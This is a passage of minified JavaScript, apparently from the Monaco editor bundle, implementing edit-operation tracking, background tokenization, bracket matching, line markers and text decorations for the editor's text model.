r=[],s=0,u=function(e,n){e.isEmpty()&&\"\"===n||r.push({identifier:{major:t,minor:s++},range:e,text:n,forceMoveMarkers:!1,isAutoWhitespaceEdit:i.insertsAutoWhitespace})},l=!1,c={addEditOperation:u,addTrackedEditOperation:function(e,t){l=!0,u(e,t)},trackSelection:function(t,n){var i,o;if(t.isEmpty())if(\"boolean\"==typeof n)i=n,o=n;else{var r=e.model.getLineMaxColumn(t.startLineNumber);t.startColumn===r?(i=!0,o=!0):(i=!1,o=!1)}else t.getDirection()===a.SelectionDirection.LTR?(i=!1,o=!0):(i=!0,o=!1);var s=e.selectionStartMarkers.length;return e.selectionStartMarkers[s]=e.model._addMarker(0,t.selectionStartLineNumber,t.selectionStartColumn,i),e.positionMarkers[s]=e.model._addMarker(0,t.positionLineNumber,t.positionColumn,o),s.toString()}};try{i.getEditOperations(e.model,c)}catch(e){return e.friendlyMessage=n.localize(0,null),o.onUnexpectedError(e),{operations:[],hadTrackedEditOperation:!1}}return{operations:r,hadTrackedEditOperation:l}},e._getLoserCursorMap=function(e){(e=e.slice(0)).sort(function(e,t){return-s.Range.compareRangesUsingEnds(e.range,t.range)});for(var t={},n=1;n<e.length;n++){var i=e[n-1],o=e[n];if(i.range.getStartPosition().isBefore(o.range.getEndPosition())){var r=void 0;t[(r=i.identifier.major>o.identifier.major?i.identifier.major:o.identifier.major).toString()]=!0;for(var a=0;a<e.length;a++)e[a].identifier.major===r&&(e.splice(a,1),a<n&&n--,a--);n>0&&n--}}return t},e}()}),define(d[322],h([6,8]),function(e,t){return e.create(\"vs/editor/common/model/textModelWithTokens\",t)}),define(d[323],h([1,0,322,10,426,93,17,68,91,98,43,95,55]),function(e,t,n,i,o,r,s,a,u,l,c,d,h){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var p=function(){function e(){this._ranges=[]}return e.prototype.registerChangedTokens=function(e){var t=this._ranges,n=t.length,i=n>0?t[n-1]:null;i&&i.toLineNumber===e-1?i.toLineNumber++:t[n]={fromLineNumber:e,toLineNumber:e}},e.prototype.build=function(){return 0===this._ranges.length?null:{ranges:this._ranges}},e}(),g=function(e){function t(t,n,i){var o=e.call(this,t,n)||this;return o._languageIdentifier=i||a.NULL_LANGUAGE_IDENTIFIER,o._tokenizationListener=s.TokenizationRegistry.onDidChange(function(e){-1!==e.changedLanguages.indexOf(o._languageIdentifier.language)&&(o._resetTokenizationState(),o.emitModelTokensChangedEvent({ranges:[{fromLineNumber:1,toLineNumber:o.getLineCount()}]}))}),o._revalidateTokensTimeout=-1,o._resetTokenizationState(),o}return f(t,e),t.prototype.dispose=function(){this._tokenizationListener.dispose(),this._clearTimers(),this._lastState=null,e.prototype.dispose.call(this)},t.prototype._shouldAutoTokenize=function(){return!1},t.prototype._resetValue=function(t){e.prototype._resetValue.call(this,t),this._resetTokenizationState()},t.prototype._resetTokenizationState=function(){this._clearTimers();for(var e=0;e<this._lines.length;e++)this._lines[e].resetTokenizationState();if(this._tokenizationSupport=null,this._isTooLargeForTokenization||(this._tokenizationSupport=s.TokenizationRegistry.get(this._languageIdentifier.language)),this._tokenizationSupport){var n=null;try{n=this._tokenizationSupport.getInitialState()}catch(e){e.friendlyMessage=t.MODE_TOKENIZATION_FAILED_MSG,i.onUnexpectedError(e),this._tokenizationSupport=null}n&&this._lines[0].setState(n)}this._lastState=null,this._invalidLineStartIndex=0,this._beginBackgroundTokenization()},t.prototype._clearTimers=function(){-1!==this._revalidateTokensTimeout&&(clearTimeout(this._revalidateTokensTimeout),this._revalidateTokensTimeout=-1)},t.prototype._withModelTokensChangedEventBuilder=function(e){var t=new p,n=e(t);if(!this._isDisposing){var i=t.build();i&&this._eventEmitter.emit(h.TextModelEventType.ModelTokensChanged,i)}return n},t.prototype.forceTokenization=function(e){var t=this;if(e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");this._withModelTokensChangedEventBuilder(function(n){t._updateTokensUntilLine(n,e)})},t.prototype.getLineTokens=function(e){if(e<1||e>this.getLineCount())throw new Error(\"Illegal value \"+e+\" for `lineNumber`\");return this._getLineTokens(e)},t.prototype._getLineTokens=function(e){return this._lines[e-1].getTokens(this._languageIdentifier.id)},t.prototype.getLanguageIdentifier=function(){return this._languageIdentifier},t.prototype.getModeId=function(){return this._languageIdentifier.language},t.prototype.setMode=function(e){if(this._languageIdentifier.id!==e.id){var t={oldLanguage:this._languageIdentifier.language,newLanguage:e.language};this._languageIdentifier=e,this._resetTokenizationState(),this.emitModelTokensChangedEvent({ranges:[{fromLineNumber:1,toLineNumber:this.getLineCount()}]}),this._emitModelModeChangedEvent(t)}},t.prototype.getLanguageIdAtPosition=function(e,t){if(!this._tokenizationSupport)return this._languageIdentifier.id;var n=this.validatePosition({lineNumber:e,column:t}),i=n.lineNumber,o=n.column;return this._getLineTokens(i).findTokenAtOffset(o-1).languageId},t.prototype._invalidateLine=function(e){this._lines[e].setIsInvalid(!0),e<this._invalidLineStartIndex&&(this._invalidLineStartIndex<this._lines.length&&this._lines[this._invalidLineStartIndex].setIsInvalid(!0),this._invalidLineStartIndex=e,this._beginBackgroundTokenization())},t.prototype._beginBackgroundTokenization=function(){var e=this;this._shouldAutoTokenize()&&-1===this._revalidateTokensTimeout&&(this._revalidateTokensTimeout=setTimeout(function(){e._revalidateTokensTimeout=-1,e._revalidateTokensNow()},0))},t.prototype._warmUpTokens=function(){for(var e=Math.min(100,this.getLineCount()),t=e,n=1;n<=e;n++)if(this._lines[n-1].text.length>=200){t=n-1;break}this._revalidateTokensNow(t),this._invalidLineStartIndex<this._lines.length&&this._beginBackgroundTokenization()},t.prototype._revalidateTokensNow=function(e){var t=this;void 0===e&&(e=this._invalidLineStartIndex+1e6),this._withModelTokensChangedEventBuilder(function(n){e=Math.min(t._lines.length,e);for(var i,r=t._invalidLineStartIndex+1,s=0,a=0,u=0,l=o.StopWatch.create(!1),c=r;c<=e;c++){if((i=l.elapsed())>20){e=c-1;break}if(a=t._lines[c-1].text.length,s>0&&(u=i/s*a,i+u>20)){e=c-1;break}t._updateTokensUntilLine(n,c),s+=a,c=Math.max(c,t._invalidLineStartIndex+1)}i=l.elapsed(),t._invalidLineStartIndex<t._lines.length&&t._beginBackgroundTokenization()})},t.prototype._updateTokensUntilLine=function(e,n){if(this._tokenizationSupport){for(var o=this._lines.length,r=n-1,s=this._invalidLineStartIndex;s<=r;s++){var u=s+1,l=null,c=this._lines[s].text;try{var d=this._lines[s].getState().clone();l=this._tokenizationSupport.tokenize2(this._lines[s].text,d,0)}catch(e){e.friendlyMessage=t.MODE_TOKENIZATION_FAILED_MSG,i.onUnexpectedError(e)}if(l||(l=a.nullTokenize2(this._languageIdentifier.id,c,this._lines[s].getState(),0)),this._lines[s].setTokens(this._languageIdentifier.id,l.tokens),e.registerChangedTokens(s+1),this._lines[s].setIsInvalid(!1),u<o)if(null!==this._lines[u].getState()&&l.endState.equals(this._lines[u].getState())){for(var h=s+1;h<o&&!this._lines[h].isInvalid();){if(h+1<o){if(null===this._lines[h+1].getState())break}else if(null===this._lastState)break;h++}this._invalidLineStartIndex=Math.max(this._invalidLineStartIndex,h),s=h-1}else this._lines[u].setState(l.endState);else this._lastState=l.endState}this._invalidLineStartIndex=Math.max(this._invalidLineStartIndex,r+1)}else this._invalidLineStartIndex=this._lines.length},t.prototype.emitModelTokensChangedEvent=function(e){this._isDisposing||this._eventEmitter.emit(h.TextModelEventType.ModelTokensChanged,e)},t.prototype._emitModelModeChangedEvent=function(e){this._isDisposing||this._eventEmitter.emit(h.TextModelEventType.ModelLanguageChanged,e)},t.prototype.getWordAtPosition=function(e){this._assertNotDisposed();var t=this.validatePosition(e),n=this.getLineContent(t.lineNumber);if(this._invalidLineStartIndex<=t.lineNumber)return d.getWordAtText(t.column,c.LanguageConfigurationRegistry.getWordDefinition(this._languageIdentifier.id),n,0);var i=this._getLineTokens(t.lineNumber),o=t.column-1,r=i.findTokenAtOffset(o),s=d.getWordAtText(t.column,c.LanguageConfigurationRegistry.getWordDefinition(r.languageId),n.substring(r.startOffset,r.endOffset),r.startOffset);if(!s&&r.hasPrev&&r.startOffset===o){var a=r.prev();s=d.getWordAtText(t.column,c.LanguageConfigurationRegistry.getWordDefinition(a.languageId),n.substring(a.startOffset,a.endOffset),a.startOffset)}return s},t.prototype.getWordUntilPosition=function(e){var t=this.getWordAtPosition(e);return t?{word:t.word.substr(0,e.column-t.startColumn),startColumn:t.startColumn,endColumn:e.column}:{word:\"\",startColumn:e.column,endColumn:e.column}},t.prototype.findMatchingBracketUp=function(e,t){var n=e.toLowerCase(),i=this.validatePosition(t),o=this._getLineTokens(i.lineNumber).findTokenAtOffset(i.column-1),r=c.LanguageConfigurationRegistry.getBracketsSupport(o.languageId);if(!r)return null;var s=r.textIsBracket[n];return s?this._findMatchingBracketUp(s,i):null},t.prototype.matchBracket=function(e){return this._matchBracket(this.validatePosition(e))},t.prototype._matchBracket=function(e){var t=e.lineNumber,n=this._getLineTokens(t),i=this._lines[t-1].text,o=n.findTokenAtOffset(e.column-1);if(!o)return null;var r=c.LanguageConfigurationRegistry.getBracketsSupport(o.languageId);if(r&&!u.ignoreBracketsInToken(o.tokenType)){var s=Math.max(o.startOffset,e.column-1-r.maxBracketLength),a=Math.min(o.endOffset,e.column-1+r.maxBracketLength);if((f=l.BracketsUtils.findNextBracketInToken(r.forwardRegex,t,i,e.column-1,a))&&f.startColumn===e.column&&(g=(g=i.substring(f.startColumn-1,f.endColumn-1)).toLowerCase(),m=this._matchFoundBracket(f,r.textIsBracket[g],r.textIsOpenBracket[g])))return m;for(;;){var d=l.BracketsUtils.findNextBracketInToken(r.forwardRegex,t,i,s,a);if(!d)break;if(d.startColumn<=e.column&&e.column<=d.endColumn&&(g=(g=i.substring(d.startColumn-1,d.endColumn-1)).toLowerCase(),m=this._matchFoundBracket(d,r.textIsBracket[g],r.textIsOpenBracket[g])))return m;s=d.endColumn-1}}if(o.hasPrev&&o.startOffset===e.column-1){var h=o.prev(),p=c.LanguageConfigurationRegistry.getBracketsSupport(h.languageId);if(p&&!u.ignoreBracketsInToken(h.tokenType)){var s=Math.max(h.startOffset,e.column-1-p.maxBracketLength),a=o.startOffset,f=l.BracketsUtils.findPrevBracketInToken(p.reversedRegex,t,i,s,a);if(f&&f.startColumn<=e.column&&e.column<=f.endColumn){var g=i.substring(f.startColumn-1,f.endColumn-1);g=g.toLowerCase();var m=this._matchFoundBracket(f,p.textIsBracket[g],p.textIsOpenBracket[g]);if(m)return m}}}return null},t.prototype._matchFoundBracket=function(e,t,n){if(n){if(i=this._findMatchingBracketDown(t,e.getEndPosition()))return[e,i]}else{var i=this._findMatchingBracketUp(t,e.getStartPosition());if(i)return[e,i]}return null},t.prototype._findMatchingBracketUp=function(e,t){for(var n=e.languageIdentifier.id,i=e.reversedRegex,o=-1,r=t.lineNumber;r>=1;r--){var s=this._getLineTokens(r),a=this._lines[r-1].text,c=void 0,d=void 0;for(r===t.lineNumber?(c=s.findTokenAtOffset(t.column-1),d=t.column-1):(c=s.lastToken())&&(d=c.endOffset);c;){if(c.languageId===n&&!u.ignoreBracketsInToken(c.tokenType))for(;;){var h=l.BracketsUtils.findPrevBracketInToken(i,r,a,c.startOffset,d);if(!h)break;var p=a.substring(h.startColumn-1,h.endColumn-1);if((p=p.toLowerCase())===e.open?o++:p===e.close&&o--,0===o)return h;d=h.startColumn-1}(c=c.prev())&&(d=c.endOffset)}}return null},t.prototype._findMatchingBracketDown=function(e,t){for(var n=e.languageIdentifier.id,i=e.forwardRegex,o=1,r=t.lineNumber,s=this.getLineCount();r<=s;r++){var a=this._getLineTokens(r),c=this._lines[r-1].text,d=void 0,h=void 0;for(r===t.lineNumber?(d=a.findTokenAtOffset(t.column-1),h=t.column-1):(d=a.firstToken())&&(h=d.startOffset);d;){if(d.languageId===n&&!u.ignoreBracketsInToken(d.tokenType))for(;;){var p=l.BracketsUtils.findNextBracketInToken(i,r,c,h,d.endOffset);if(!p)break;var f=c.substring(p.startColumn-1,p.endColumn-1);if((f=f.toLowerCase())===e.open?o++:f===e.close&&o--,0===o)return p;h=p.endColumn-1}(d=d.next())&&(h=d.startOffset)}}return null},t.prototype.findPrevBracket=function(e){for(var t=this.validatePosition(e),n=-1,i=null,o=t.lineNumber;o>=1;o--){var r=this._getLineTokens(o),s=this._lines[o-1].text,a=void 0,d=void 0;for(o===t.lineNumber?(a=r.findTokenAtOffset(t.column-1),d=t.column-1):(a=r.lastToken())&&(d=a.endOffset);a;){if(n!==a.languageId&&(n=a.languageId,i=c.LanguageConfigurationRegistry.getBracketsSupport(n)),i&&!u.ignoreBracketsInToken(a.tokenType)){var h=l.BracketsUtils.findPrevBracketInToken(i.reversedRegex,o,s,a.startOffset,d);if(h)return this._toFoundBracket(i,h)}(a=a.prev())&&(d=a.endOffset)}}return null},t.prototype.findNextBracket=function(e){for(var t=this.validatePosition(e),n=-1,i=null,o=t.lineNumber,r=this.getLineCount();o<=r;o++){var s=this._getLineTokens(o),a=this._lines[o-1].text,d=void 0,h=void 0;for(o===t.lineNumber?(d=s.findTokenAtOffset(t.column-1),h=t.column-1):(d=s.firstToken())&&(h=d.startOffset);d;){if(n!==d.languageId&&(n=d.languageId,i=c.LanguageConfigurationRegistry.getBracketsSupport(n)),i&&!u.ignoreBracketsInToken(d.tokenType)){var p=l.BracketsUtils.findNextBracketInToken(i.forwardRegex,o,a,h,d.endOffset);if(p)return this._toFoundBracket(i,p)}(d=d.next())&&(h=d.startOffset)}}return null},t.prototype._toFoundBracket=function(e,t){if(!t)return null;var n=this.getValueInRange(t);n=n.toLowerCase();var i=e.textIsBracket[n];return i?{range:t,open:i.open,close:i.close,isOpen:e.textIsOpenBracket[n]}:null},t.MODE_TOKENIZATION_FAILED_MSG=n.localize(0,null),t}(r.TextModel);t.TextModelWithTokens=g}),define(d[324],h([1,0,108,12,118,323]),function(e,t,n,i,o,r){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var s=0,a=function(e){function t(t,i,o){var r=e.call(this,t,i,o)||this;return r._markerIdGenerator=new n.IdGenerator(++s+\";\"),r._markerIdToMarker=Object.create(null),r}return f(t,e),t.prototype.dispose=function(){this._markerIdToMarker=null,e.prototype.dispose.call(this)},t.prototype._resetValue=function(t){e.prototype._resetValue.call(this,t),this._markerIdToMarker=Object.create(null)},t.prototype._addMarker=function(e,t,n,r){var s=this.validatePosition(new i.Position(t,n)),a=new o.LineMarker(this._markerIdGenerator.nextId(),e,s,r);return this._markerIdToMarker[a.id]=a,this._lines[s.lineNumber-1].addMarker(a),a.id},t.prototype._addMarkers=function(e){if(0===e.length)return[];for(var t=[],n=0,i=e.length;n<i;n++){var r=e[n],s=new o.LineMarker(this._markerIdGenerator.nextId(),r.internalDecorationId,r.position,r.stickToPreviousCharacter);this._markerIdToMarker[s.id]=s,t[n]=s}var a=t.slice(0);a.sort(function(e,t){return e.position.lineNumber-t.position.lineNumber});for(var u=0,l=[],c=0,n=0,i=a.length;n<i;n++)(s=a[n]).position.lineNumber!==u&&(0!==u&&this._lines[u-1].addMarkers(l),u=s.position.lineNumber,l.length=0,c=0),l[c++]=s;return this._lines[u-1].addMarkers(l),t},t.prototype._changeMarker=function(e,t,n){var o=this._markerIdToMarker[e];if(o){var r=this.validatePosition(new i.Position(t,n));r.lineNumber!==o.position.lineNumber&&(this._lines[o.position.lineNumber-1].removeMarker(o),this._lines[r.lineNumber-1].addMarker(o)),o.setPosition(r)}},t.prototype._changeMarkerStickiness=function(e,t){var n=this._markerIdToMarker[e];n&&(n.stickToPreviousCharacter=t)},t.prototype._getMarker=function(e){var t=this._markerIdToMarker[e];return t?t.position:null},t.prototype._getMarkersCount=function(){return Object.keys(this._markerIdToMarker).length},t.prototype._removeMarker=function(e){var t=this._markerIdToMarker[e];t&&(this._lines[t.position.lineNumber-1].removeMarker(t),delete this._markerIdToMarker[e])},t.prototype._removeMarkers=function(e){e.sort(function(e,t){return e.position.lineNumber-t.position.lineNumber});for(var t=0,n=null,i=0,o=e.length;i<o;i++){var r=e[i];delete this._markerIdToMarker[r.id],r.position.lineNumber!==t&&(0!==t&&this._lines[t-1].removeMarkers(n),t=r.position.lineNumber,n=Object.create(null)),n[r.id]=!0}this._lines[t-1].removeMarkers(n)},t}(r.TextModelWithTokens);t.TextModelWithMarkers=a}),define(d[34],h([1,0,10,133,9,2,20,118,12,324,55]),function(e,t,n,i,o,r,s,a,u,l,c){\"use strict\";function d(){var e=v++;return(e%=52)<26?String.fromCharCode(97+e):String.fromCharCode(65+e-26)}function h(e){return e.replace(/[^a-z0-9\\-]/gi,\" \")}function p(e){return e instanceof b?e:b.createDynamic(e)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.ClassName={EditorWarningDecoration:\"greensquiggly\",EditorErrorDecoration:\"redsquiggly\"};var g=function(){function e(){this.addedDecorations=[],this.addedDecorationsLen=0,this.changedDecorations=[],this.changedDecorationsLen=0,this.removedDecorations=[],this.removedDecorationsLen=0}return e.prototype.addNewDecoration=function(e){this.addedDecorations[this.addedDecorationsLen++]=e},e.prototype.addRemovedDecoration=function(e){this.removedDecorations[this.removedDecorationsLen++]=e},e.prototype.addMovedDecoration=function(e){this.changedDecorations[this.changedDecorationsLen++]=e},e.prototype.addUpdatedDecoration=function(e){this.changedDecorations[this.changedDecorationsLen++]=e},e}(),m=function(){function e(e,t,n,i,o,r,s){this.id=e,this.internalId=t,this.ownerId=n,this.range=i,this.startMarker=o,this.endMarker=r,this.setOptions(s)}return e.prototype.setOptions=function(e){this.options=e,this.isForValidation=this.options.className===t.ClassName.EditorErrorDecoration||this.options.className===t.ClassName.EditorWarningDecoration},e.prototype.setRange=function(e,t){if(!this.range.equalsRange(t)){var n=this.range.startLineNumber!==this.range.endLineNumber;this.range=t;var i=this.range.startLineNumber!==this.range.endLineNumber;n!==i&&(i?e[this.id]=this:delete e[this.id])}},e}();t.InternalDecoration=m;var v=0,_=function(e){function t(t,n,i){var o=e.call(this,t,n,i)||this;return o._instanceId=d(),o._lastDecorationId=0,o._currentDecorationsTracker=null,o._currentDecorationsTrackerCnt=0,o._currentMarkersTracker=null,o._currentMarkersTrackerCnt=0,o._decorations=Object.create(null),o._internalDecorations=Object.create(null),o._multiLineDecorationsMap=Object.create(null),o}return f(t,e),t.prototype.dispose=function(){this._decorations=null,this._internalDecorations=null,this._multiLineDecorationsMap=null,e.prototype.dispose.call(this)},t.prototype._resetValue=function(t){e.prototype._resetValue.call(this,t),this._decorations=Object.create(null),this._internalDecorations=Object.create(null),this._multiLineDecorationsMap=Object.create(null)},t._shouldStartMarkerSticksToPreviousCharacter=function(e){return e===s.TrackedRangeStickiness.AlwaysGrowsWhenTypingAtEdges||e===s.TrackedRangeStickiness.GrowsOnlyWhenTypingBefore},t._shouldEndMarkerSticksToPreviousCharacter=function(e){return e===s.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges||e===s.TrackedRangeStickiness.GrowsOnlyWhenTypingBefore},t.prototype._getTrackedRangesCount=function(){return Object.keys(this._decorations).length},t.prototype.changeDecorations=function(e,t){void 0===t&&(t=0),this._assertNotDisposed();try{this._eventEmitter.beginDeferredEmit();var n=this._acquireDecorationsTracker();return this._changeDecorations(n,t,e)}finally{this._releaseDecorationsTracker(),this._eventEmitter.endDeferredEmit()}},t.prototype._changeDecorations=function(e,t,i){var o=this,r={addDecoration:function(n,i){return o._addDecorationImpl(e,t,o.validateRange(n),p(i))},changeDecoration:function(t,n){o._changeDecorationImpl(e,t,o.validateRange(n))},changeDecorationOptions:function(t,n){o._changeDecorationOptionsImpl(e,t,p(n))},removeDecoration:function(t){o._removeDecorationImpl(e,t)},deltaDecorations:function(n,i){return o._deltaDecorationsImpl(e,t,n,o._normalizeDeltaDecorations(i))}},s=null;try{s=i(r)}catch(e){n.onUnexpectedError(e)}return r.addDecoration=null,r.changeDecoration=null,r.removeDecoration=null,r.deltaDecorations=null,s},t.prototype.deltaDecorations=function(e,t,n){return void 0===n&&(n=0),this._assertNotDisposed(),e||(e=[]),this.changeDecorations(function(n){return n.deltaDecorations(e,t)},n)},t.prototype.removeAllDecorationsWithOwnerId=function(e){var t=[];for(var n in this._decorations){var i=this._decorations[n];i.ownerId===e&&t.push(i.id)}this._removeDecorationsImpl(null,t)},t.prototype.getDecorationOptions=function(e){var t=this._decorations[e];return t?t.options:null},t.prototype.getDecorationRange=function(e){var t=this._decorations[e];return t?t.range:null},t.prototype.getLineDecorations=function(e,t,n){return void 0===t&&(t=0),void 0===n&&(n=!1),e<1||e>this.getLineCount()?[]:this.getLinesDecorations(e,e,t,n)},t.prototype._getMultiLineDecorations=function(e,t,n){var i=e.startLineNumber,o=e.startColumn,r=e.endLineNumber,s=e.endColumn,a=[];for(var u in this._multiLineDecorationsMap){var l=this._multiLineDecorationsMap[u];if((!t||!l.ownerId||l.ownerId===t)&&(!n||!l.isForValidation)){var c=l.range;c.startLineNumber>r||c.startLineNumber===r&&c.startColumn>s||c.endLineNumber<i||c.endLineNumber===i&&c.endColumn<o||a.push(l)}}return a},t.prototype._getDecorationsInRange=function(e,t,n){for(var i=e.startLineNumber,o=e.startColumn,r=e.endLineNumber,s=e.endColumn,a=this._getMultiLineDecorations(e,t,n),u={},l=0,c=a.length;l<c;l++)u[a[l].id]=!0;for(var d=i;d<=r;d++){var h=this._lines[d-1].getMarkers();if(null!==h)for(var l=0,c=h.length;l<c;l++){var p=h[l].internalDecorationId;if(0!==p){var f=this._internalDecorations[p];if(!u.hasOwnProperty(f.id)&&!(t&&f.ownerId&&f.ownerId!==t||n&&f.isForValidation)){var g=f.range;g.startLineNumber>r||g.startLineNumber===r&&g.startColumn>s||g.endLineNumber<i||g.endLineNumber===i&&g.endColumn<o||(a.push(f),u[f.id]=!0)}}}}return a},t.prototype.getLinesDecorations=function(e,t,n,i){void 0===n&&(n=0),void 0===i&&(i=!1);var o=this.getLineCount(),s=Math.min(o,Math.max(1,e)),a=Math.min(o,Math.max(1,t)),u=this.getLineMaxColumn(a);return this._getDecorationsInRange(new r.Range(s,1,a,u),n,i)},t.prototype.getDecorationsInRange=function(e,t,n){var i=this.validateRange(e);return this._getDecorationsInRange(i,t,n)},t.prototype.getAllDecorations=function(e,t){void 0===e&&(e=0),void 0===t&&(t=!1);var n=[];for(var i in this._decorations){var o=this._decorations[i];e&&o.ownerId&&o.ownerId!==e||(t&&o.isForValidation||n.push(o))}return n},t.prototype._acquireMarkersTracker=function(){return 0===this._currentMarkersTrackerCnt&&(this._currentMarkersTracker=new a.MarkersTracker),this._currentMarkersTrackerCnt++,this._currentMarkersTracker},t.prototype._releaseMarkersTracker=function(){if(this._currentMarkersTrackerCnt--,0===this._currentMarkersTrackerCnt){var e=this._currentMarkersTracker;this._currentMarkersTracker=null,this._handleTrackedMarkers(e)}},t.prototype._handleTrackedMarkers=function(e){var n=e.getDecorationIds();if(0!==n.length){n.sort();for(var i=[],o=0,r=0,s=0,a=n.length;s<a;s++){var u=n[s];if(u!==r){r=u;var l=this._internalDecorations[u];if(l){var c=l.startMarker.position,d=l.endMarker.position,h=t._createRangeFromMarkers(c,d);l.setRange(this._multiLineDecorationsMap,h),i[o++]=l.id}}}if(i.length>0){var p={addedDecorations:[],changedDecorations:i,removedDecorations:[]};this.emitModelDecorationsChangedEvent(p)}}},t._createRangeFromMarkers=function(e,t){return t.isBefore(e)?new r.Range(e.lineNumber,e.column,e.lineNumber,e.column):new r.Range(e.lineNumber,e.column,t.lineNumber,t.column)},t.prototype._acquireDecorationsTracker=function(){return 0===this._currentDecorationsTrackerCnt&&(this._currentDecorationsTracker=new g),this._currentDecorationsTrackerCnt++,this._currentDecorationsTracker},t.prototype._releaseDecorationsTracker=function(){if(this._currentDecorationsTrackerCnt--,0===this._currentDecorationsTrackerCnt){var e=this._currentDecorationsTracker;this._currentDecorationsTracker=null,this._handleTrackedDecorations(e)}},t.prototype._handleTrackedDecorations=function(e){if(0!==e.addedDecorationsLen||0!==e.changedDecorationsLen||0!==e.removedDecorationsLen){var t={addedDecorations:e.addedDecorations,changedDecorations:e.changedDecorations,removedDecorations:e.removedDecorations};this.emitModelDecorationsChangedEvent(t)}},t.prototype.emitModelDecorationsChangedEvent=function(e){this._isDisposing||this._eventEmitter.emit(c.TextModelEventType.ModelDecorationsChanged,e)},t.prototype._normalizeDeltaDecorations=function(e){for(var t=[],n=0,i=e.length;n<i;n++){var o=e[n];t.push(new w(n,this.validateRange(o.range),p(o.options)))}return t},t.prototype._externalDecorationId=function(e){return this._instanceId+\";\"+e},t.prototype._addDecorationImpl=function(e,n,i,o){var r=this.validateRange(i),s=++this._lastDecorationId,a=this._externalDecorationId(s),l=this._addMarkers([{internalDecorationId:s,position:new u.Position(r.startLineNumber,r.startColumn),stickToPreviousCharacter:t._shouldStartMarkerSticksToPreviousCharacter(o.stickiness)},{internalDecorationId:s,position:new u.Position(r.endLineNumber,r.endColumn),stickToPreviousCharacter:t._shouldEndMarkerSticksToPreviousCharacter(o.stickiness)}]),c=new m(a,s,n,r,l[0],l[1],o);return this._decorations[a]=c,this._internalDecorations[s]=c,r.startLineNumber!==r.endLineNumber&&(this._multiLineDecorationsMap[a]=c),e.addNewDecoration(a),a},t.prototype._addDecorationsImpl=function(e,n,i){for(var o=[],r=[],s=[],a=0,l=i.length;a<l;a++){var c=(g=i[a]).range,d=g.options.stickiness,h=++this._lastDecorationId,p=this._externalDecorationId(h);o[a]=h,r[a]=p,s[2*a]={internalDecorationId:h,position:new u.Position(c.startLineNumber,c.startColumn),stickToPreviousCharacter:t._shouldStartMarkerSticksToPreviousCharacter(d)},s[2*a+1]={internalDecorationId:h,position:new u.Position(c.endLineNumber,c.endColumn),stickToPreviousCharacter:t._shouldEndMarkerSticksToPreviousCharacter(d)}}for(var f=this._addMarkers(s),a=0,l=i.length;a<l;a++){var g=i[a],c=g.range,h=o[a],p=r[a],v=f[2*a],_=f[2*a+1],y=new m(p,h,n,c,v,_,g.options);this._decorations[p]=y,this._internalDecorations[h]=y,c.startLineNumber!==c.endLineNumber&&(this._multiLineDecorationsMap[p]=y),e.addNewDecoration(p)}return r},t.prototype._changeDecorationImpl=function(e,t,n){var i=this._decorations[t];if(i){var o=i.startMarker;n.startLineNumber!==o.position.lineNumber&&(this._lines[o.position.lineNumber-1].removeMarker(o),this._lines[n.startLineNumber-1].addMarker(o)),o.setPosition(new u.Position(n.startLineNumber,n.startColumn));var r=i.endMarker;n.endLineNumber!==r.position.lineNumber&&(this._lines[r.position.lineNumber-1].removeMarker(r),this._lines[n.endLineNumber-1].addMarker(r)),r.setPosition(new u.Position(n.endLineNumber,n.endColumn)),i.setRange(this._multiLineDecorationsMap,n),e.addMovedDecoration(t)}},t.prototype._changeDecorationOptionsImpl=function(e,n,i){var o=this._decorations[n];o&&(o.options.stickiness!==i.stickiness&&(o.startMarker.stickToPreviousCharacter=t._shouldStartMarkerSticksToPreviousCharacter(i.stickiness),o.endMarker.stickToPreviousCharacter=t._shouldEndMarkerSticksToPreviousCharacter(i.stickiness)),o.setOptions(i),e.addUpdatedDecoration(n))},t.prototype._removeDecorationImpl=function(e,t){var n=this._decorations[t];n&&(this._removeMarkers([n.startMarker,n.endMarker]),delete this._multiLineDecorationsMap[t],delete this._decorations[t],delete this._internalDecorations[n.internalId],e&&e.addRemovedDecoration(t))},t.prototype._removeDecorationsImpl=function(e,t){for(var n=[],i=0,o=0,r=t.length;o<r;o++){var s=t[o],a=this._decorations[s];a&&(e&&e.addRemovedDecoration(s),n[i++]=a.startMarker,n[i++]=a.endMarker,delete this._multiLineDecorationsMap[s],delete this._decorations[s],delete this._internalDecorations[a.internalId])}n.length>0&&this._removeMarkers(n)},t.prototype._resolveOldDecorations=function(e){for(var t=[],n=0,i=e.length;n<i;n++){var o=e[n],r=this._decorations[o];r&&t.push(r)}return t},t.prototype._deltaDecorationsImpl=function(e,t,n,i){if(0===n.length)return this._addDecorationsImpl(e,t,i);if(0===i.length)return this._removeDecorationsImpl(e,n),[];var o=this._resolveOldDecorations(n);o.sort(function(e,t){return r.Range.compareRangesUsingStarts(e.range,t.range)}),i.sort(function(e,t){return r.Range.compareRangesUsingStarts(e.range,t.range)});for(var s=[],a=0,u=o.length,l=0,c=i.length,d=[],h=[];a<u&&l<c;){var p=o[a],f=i[l],g=r.Range.compareRangesUsingStarts(p.range,f.range);g<0?(h.push(p.id),a++):g>0?(d.push(f),l++):p.options.equals(f.options)?(s[f.index]=p.id,a++,l++):(h.push(p.id),a++)}for(;a<u;)h.push(o[a].id),a++;for(;l<c;)d.push(i[l]),l++;if(h.length>0&&this._removeDecorationsImpl(e,h),d.length>0)for(var m=this._addDecorationsImpl(e,t,d),v=0,_=d.length;v<_;v++)s[d[v].index]=m[v];return s},t}(l.TextModelWithMarkers);t.TextModelWithDecorations=_;var y=function(){function e(e){this.color=o.empty,this.darkColor=o.empty,this.hcColor=o.empty,this.position=s.OverviewRulerLane.Center,e&&e.color&&(this.color=e.color),e&&e.darkColor&&(this.darkColor=e.darkColor,this.hcColor=e.darkColor),e&&e.hcColor&&(this.hcColor=e.hcColor),e&&e.hasOwnProperty(\"position\")&&(this.position=e.position)}return e.prototype.equals=function(e){return this.color===e.color&&this.darkColor===e.darkColor&&this.hcColor===e.hcColor&&this.position===e.position},e}();t.ModelDecorationOverviewRulerOptions=y;var C=0,b=function(){function 